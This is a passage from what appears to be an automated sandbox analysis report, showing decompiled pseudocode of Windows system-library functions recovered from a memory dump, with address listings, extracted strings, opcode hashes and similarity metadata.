																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xac8638; // 0x0
																	_t122 = L009E38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E009E76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E009E76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00A0FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L009E70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E00A0FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E00A0FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E00A0FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E00A0FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E00A0FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xac7b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xac7b84 = _t75;
						_t73 = E009EEB70(_t134, 0xac7b60);
						if( *0xac7b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E009EFF60( *0xac7b20);
							}
						}
						goto L5;
					}
				}
			}

0x00a0fab0
0x00a0fab2
0x00a0fab3
0x00a0fab4
0x00a0fabc
0x00a0fac0
0x00a0fb14
0x00a0fb17
0x00a0fac2
0x00a0fac8
0x00a0facd
0x00a0fad3
0x00a0fad3
0x00a0fadd
0x00a0fb18
0x00a0fb1b
0x00a0fb1d
0x00a0fb1e
0x00a0fb1f
0x00a0fb20
0x00a0fb21
0x00a0fb22
0x00a0fb23
0x00a0fb24
0x00a0fb25
0x00a0fb26
0x00a0fb27
0x00a0fb28
0x00a0fb29
0x00a0fb2a
0x00a0fb2b
0x00a0fb2c
0x00a0fb2d
0x00a0fb2e
0x00a0fb2f
0x00a0fb3a
0x00a0fb3b
0x00a0fb3e
0x00a0fb41
0x00a0fb44
0x00a0fb47
0x00a0fb4a
0x00a0fb4d
0x00a0fb53
0x00a4bdcb
0x00a4bdcb
0x00a0fb59
0x00a0fb5b
0x00a0fb5b
0x00a0fb5e
0x00a4bdd5
0x00a4bdd8
0x00000000
0x00a4bdda
0x00000000
0x00a4bdda
0x00a0fb64
0x00a0fb64
0x00a0fb64
0x00a0fb67
0x00a0fb6e
0x00a0fb70
0x00a0fb72
0x00000000
0x00a0fb78
0x00a0fb7a
0x00a0fb7a
0x00a0fb7d
0x00a0fb80
0x00a4bddf
0x00a4bde1
0x00000000
0x00a4bde3
0x00000000
0x00a4bde3
0x00a0fb86
0x00a0fb86
0x00a0fb86
0x00a0fb8b
0x00a0fb90
0x00a0fb92
0x00a0fb94
0x00a0fb9a
0x00a0fb9b
0x00a0fba1
0x00a4bde8
0x00a4bdeb
0x00a4bded
0x00a4beb5
0x00a4beb5
0x00a4bebb
0x00a4bebd
0x00a4bec3
0x00a4bed2
0x00a4bedd
0x00a4bedd
0x00a4beed
0x00000000
0x00a4bdf3
0x00a4bdfe
0x00a4be06
0x00a4be0b
0x00a4be0d
0x00a4be0f
0x00a4be14
0x00a4be19
0x00a4be20
0x00a4be25
0x00a4be27
0x00a4be35
0x00a4be39
0x00a4be46
0x00a4be4f
0x00a4be54
0x00a4be56
0x00a4bef8
0x00a4bef8
0x00000000
0x00a4be5c
0x00a4be5c
0x00a4be60
0x00000000
0x00a4be66
0x00a4be66
0x00a4be7f
0x00a4be84
0x00a4be87
0x00a4be89
0x00a4be8b
0x00a4be99
0x00a4be9d
0x00a4bea0
0x00a4beac
0x00a4beaf
0x00a4beb1
0x00a4beb3
0x00a4beb3
0x00000000
0x00a4bea2
0x00a4bea2
0x00000000
0x00a4bea2
0x00a4be8d
0x00a4be8d
0x00a4be92
0x00000000
0x00a4be92
0x00a4be8b
0x00a4be60
0x00a4be3b
0x00a4be3b
0x00a4be3e
0x00000000
0x00a4be40
0x00a4be40
0x00a4be44
0x00000000
0x00000000
0x00000000
0x00000000
0x00a4be44
0x00a4be3e
0x00a4be29
0x00a4be29
0x00000000
0x00a4be29
0x00a4be27
0x00000000
0x00a0fba7
0x00a0fba7
0x00a0fbab
0x00a4bf02
0x00a0fbb1
0x00a0fbb1
0x00a0fbb8
0x00a0fbbd
0x00a0fbbd
0x00a0fbbf
0x00a0fbbf
0x00a0fbc5
0x00a0fbcb
0x00a0fbf8
0x00a0fbf8
0x00a0fbfa
0x00000000
0x00a0fc00
0x00a0fc00
0x00a0fc03
0x00000000
0x00a0fc09
0x00a0fc09
0x00a0fc0f
0x00a0fc15
0x00a0fc23
0x00a0fc23
0x00a0fc25
0x00a0fc27
0x00a0fc75
0x00a0fc7c
0x00a0fc84
0x00000000
0x00a0fc29
0x00a0fc29
0x00a0fc2d
0x00a0fc30
0x00a4bf0f
0x00000000
0x00a0fc36
0x00a0fc38
0x00a0fc3b
0x00a0fc41
0x00a4bf17
0x00a4bf19
0x00a4bf48
0x00a4bf4b
0x00000000
0x00a4bf1b
0x00a4bf22
0x00a4bf24
0x00a4bf26
0x00000000
0x00a4bf2c
0x00a4bf37
0x00a4bf39
0x00a4bf3b
0x00000000
0x00a4bf41
0x00a4bf41
0x00a4bf41
0x00a4bf41
0x00a4bf45
0x00000000
0x00a4bf45
0x00a4bf3b
0x00a4bf26
0x00000000
0x00a0fc47
0x00a0fc47
0x00a0fc49
0x00a0fcb2
0x00a0fcb4
0x00a0fcb6
0x00a0fcdc
0x00a0fcdc
0x00000000
0x00a0fcb8
0x00a0fcc3
0x00a0fcc5
0x00a0fcc7
0x00000000
0x00a0fcc9
0x00a0fcc9
0x00a0fccd
0x00000000
0x00a0fccd
0x00a0fcc7
0x00000000
0x00a0fc4b
0x00a0fc4b
0x00a0fc4e
0x00a0fc4e
0x00a0fc51
0x00a0fc51
0x00a0fc54
0x00a0fc5a
0x00a0fc5c
0x00a0fc5f
0x00a0fc61
0x00a0fc63
0x00a0fc65
0x00a0fc67
0x00a0fc6e
0x00a0fc72
0x00a0fc72
0x00a0fc72
0x00a0fc72
0x00a0fc67
0x00a0fc61
0x00000000
0x00a0fc5a
0x00a0fc49
0x00a0fc41
0x00a0fc30
0x00a0fc27
0x00a0fc03
0x00a0fbcd
0x00a0fbd3
0x00a0fbd9
0x00a0fbdc
0x00a0fbde
0x00a0fc99
0x00a0fc9b
0x00a0fc9d
0x00a0fcd5
0x00a0fcd5
0x00a0fc89
0x00a0fc89
0x00000000
0x00a0fc9f
0x00a0fc9f
0x00a0fca3
0x00000000
0x00a0fca3
0x00000000
0x00a0fbe4
0x00a0fbe4
0x00a0fbe4
0x00a0fbe4
0x00a0fbe9
0x00a0fbf2
0x00000000
0x00a0fbf2
0x00a0fbde
0x00a0fbcb
0x00a0fbab
0x00a0fc8b
0x00a0fc8b
0x00a0fc8c
0x00a0fb80
0x00a0fb72
0x00a0fb5e
0x00a0fc8d
0x00a0fc91
0x00a0fadf
0x00a0fadf
0x00a0fae1
0x00a0fae4
0x00a0fae7
0x00a0faec
0x00a0faf8
0x00a0fb00
0x00a0fb07
0x00a0fb0f
0x00a0fb0f
0x00a0fb07
0x00000000
0x00a0faf8
0x00a0fadd

Strings

02J, xrefs: 00A0FAF1
*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00A4BE0F

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!$02J
API String ID: 0-2699124869
Opcode ID: fc4aeff61095ba2174fe7611f776418bf9b6b68af6034a8baa274149a4063e3f
Instruction ID: 189a373cef872363fe004fb1d6db20bb21633d11a5fbddd9411262d7c1b2d854
Opcode Fuzzy Hash: fc4aeff61095ba2174fe7611f776418bf9b6b68af6034a8baa274149a4063e3f
Instruction Fuzzy Hash: 9AA1E275B006098FEB35DB69D851BBAB3B4AF84710F144579E806EBAD0DB30DC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A9E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00A9E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E00A9BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E00A9BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E00A9AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E00A19730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E00A9A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E00A9A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E00A19730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E00A9A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E00A9A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E009F2280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E009EB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E009EFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E009F7D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E00A8FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x00a9e547
0x00a9e549
0x00a9e54f
0x00a9e553
0x00a9e557
0x00a9e55a
0x00a9e55c
0x00a9e55f
0x00a9e561
0x00a9e567
0x00a9e56b
0x00a9e7e2
0x00000000
0x00a9e571
0x00a9e575
0x00a9e577
0x00a9e57b
0x00a9e57c
0x00a9e57d
0x00a9e57e
0x00a9e57f
0x00a9e588
0x00a9e58f
0x00a9e591
0x00a9e592
0x00a9e592
0x00a9e596
0x00a9e59e
0x00a9e5a0
0x00a9e5a6
0x00a9e61d
0x00a9e61d
0x00a9e621
0x00a9e623
0x00a9e630
0x00a9e630
0x00a9e7e6
0x00a9e7eb
0x00a9e7ed
0x00a9e7f4
0x00a9e7fa
0x00a9e7ff
0x00a9e7ff
0x00a9e80a
0x00a9e812
0x00a9e812
0x00a9e5ab
0x00a9e5b4
0x00a9e5b9
0x00a9e5be
0x00a9e5c0
0x00a9e5c2
0x00a9e5c8
0x00a9e5c9
0x00a9e5cb
0x00a9e5cc
0x00a9e5d5
0x00a9e5e4
0x00a9e5f1
0x00a9e5f8
0x00a9e5f8
0x00a9e5d5
0x00a9e602
0x00a9e616
0x00a9e63d
0x00a9e644
0x00a9e64d
0x00a9e652
0x00a9e657
0x00a9e659
0x00a9e65b
0x00a9e661
0x00a9e662
0x00a9e664
0x00a9e665
0x00a9e66e
0x00a9e67d
0x00a9e68a
0x00a9e691
0x00a9e691
0x00a9e66e
0x00a9e6b0
0x00000000
0x00a9e6b6
0x00a9e6bd
0x00a9e6c7
0x00a9e6d7
0x00a9e6d9
0x00a9e6db
0x00a9e6de
0x00a9e6e3
0x00a9e6f3
0x00a9e6fc
0x00a9e700
0x00a9e700
0x00a9e704
0x00a9e70a
0x00a9e70a
0x00a9e713
0x00a9e716
0x00a9e719
0x00a9e720
0x00a9e761
0x00a9e76b
0x00a9e774
0x00a9e77a
0x00a9e77a
0x00a9e78a
0x00a9e791
0x00a9e799
0x00a9e79b
0x00a9e79f
0x00a9e7aa
0x00a9e7c0
0x00a9e7ac
0x00a9e7b2
0x00a9e7b9
0x00a9e7b9
0x00a9e7c7
0x00a9e806
0x00000000
0x00a9e7c9
0x00a9e7d1
0x00a9e7d8
0x00000000
0x00a9e7d8
0x00000000
0x00000000
0x00a9e722
0x00a9e72e
0x00a9e748
0x00a9e74c
0x00a9e754
0x00a9e756
0x00a9e75c
0x00a9e75c
0x00000000
0x00a9e75c
0x00a9e758
0x00a9e758
0x00000000
0x00a9e758
0x00a9e750
0x00000000
0x00000000
0x00a9e752
0x00000000
0x00a9e752
0x00a9e730
0x00a9e735
0x00a9e73d
0x00a9e73f
0x00000000
0x00000000
0x00a9e741
0x00a9e741
0x00000000
0x00a9e741
0x00a9e739
0x00000000
0x00000000
0x00a9e73b
0x00000000
0x00a9e73b
0x00a9e722
0x00a9e720
0x00a9e6b0
0x00a9e618
0x00000000
0x00a9e618

Strings

`, xrefs: 00A9E670
`, xrefs: 00A9E5D7

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: e590255d12155307e2c021c2d7a7e95ca7b1eb788f0a7ea5839210fb05acf3ae
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 85918C31304341AFEB24CF65C941B6BB7E6AF84714F14892DF999CB292E774E904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A551BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00A551BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xab05f0);
				E00A2D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E009EEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00A553CA(0);
						return E00A2D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00A1F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E009F3690(1, _t117, 0x9b1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00A1AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L009F4620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00A1AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00A5500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00A19860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00a551be
0x00a551c3
0x00a551c8
0x00a551cd
0x00a551d0
0x00a551d3
0x00a551d8
0x00a551db
0x00a551de
0x00a551e0
0x00a551e3
0x00a551e6
0x00a551e8
0x00a55342
0x00a55351
0x00a55356
0x00a5535a
0x00a55360
0x00a55363
0x00a55366
0x00a55369
0x00a55369
0x00a5536b
0x00a5536b
0x00a55370
0x00a553a3
0x00a553a4
0x00a553a6
0x00a553ab
0x00a553ab
0x00a553ae
0x00a553ae
0x00a553b5
0x00a553bf
0x00a553bf
0x00a55375
0x00a55396
0x00a553a0
0x00a553a0
0x00000000
0x00a55396
0x00a55377
0x00a55379
0x00a5537f
0x00a5538c
0x00a55390
0x00000000
0x00a55390
0x00a551ee
0x00a551f1
0x00a55301
0x00a55310
0x00a55315
0x00a55318
0x00a5531b
0x00a55320
0x00a5532e
0x00a55331
0x00000000
0x00a55331
0x00a55328
0x00a55329
0x00000000
0x00a55329
0x00a551fa
0x00a55235
0x00a55236
0x00a55239
0x00a5523f
0x00a55240
0x00a55241
0x00a55242
0x00a55246
0x00a55247
0x00a5524e
0x00a55251
0x00a55267
0x00a55269
0x00a5526e
0x00a5527d
0x00a5527e
0x00a55281
0x00a55282
0x00a55287
0x00a55288
0x00a5528a
0x00a5528f
0x00a55294
0x00000000
0x00000000
0x00a5529a
0x00a5529c
0x00a5529e
0x00a5529e
0x00a552a4
0x00a552b0
0x00000000
0x00000000
0x00a552ba
0x00a552bc
0x00a552bc
0x00a552d4
0x00a552d9
0x00a552dc
0x00a552e1
0x00000000
0x00000000
0x00a552e7
0x00a552f4
0x00000000
0x00a552f4
0x00a55270
0x00000000
0x00a55270
0x00a551fc
0x00a551fd
0x00a55202
0x00a55203
0x00a55205
0x00a5520a
0x00a5520f
0x00000000
0x00000000
0x00a5521b
0x00a55226
0x00a5522b
0x00a5521d
0x00a5521d
0x00a55222
0x00a55222
0x00a5522d
0x00000000

Strings

Legacy, xrefs: 00A55226
UEFI, xrefs: 00A5521D

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 6f76ec69d71fdc17fdf854208548da86a58ea5397d7b57f265d6e611b8a5b36a
Instruction ID: 79d14716a9c658c6f1b0102cd2ae7761221f6c9640c2a8efefb4d2cf44c43b73
Opcode Fuzzy Hash: 6f76ec69d71fdc17fdf854208548da86a58ea5397d7b57f265d6e611b8a5b36a
Instruction Fuzzy Hash: 86516FB1E00A189FDB24DFA8C9A1BAEB7F8FF48751F14402DE949EB251D671D944CB10

Uniqueness

Uniqueness Score: -1.00%

Function 009FB944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E009FB944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
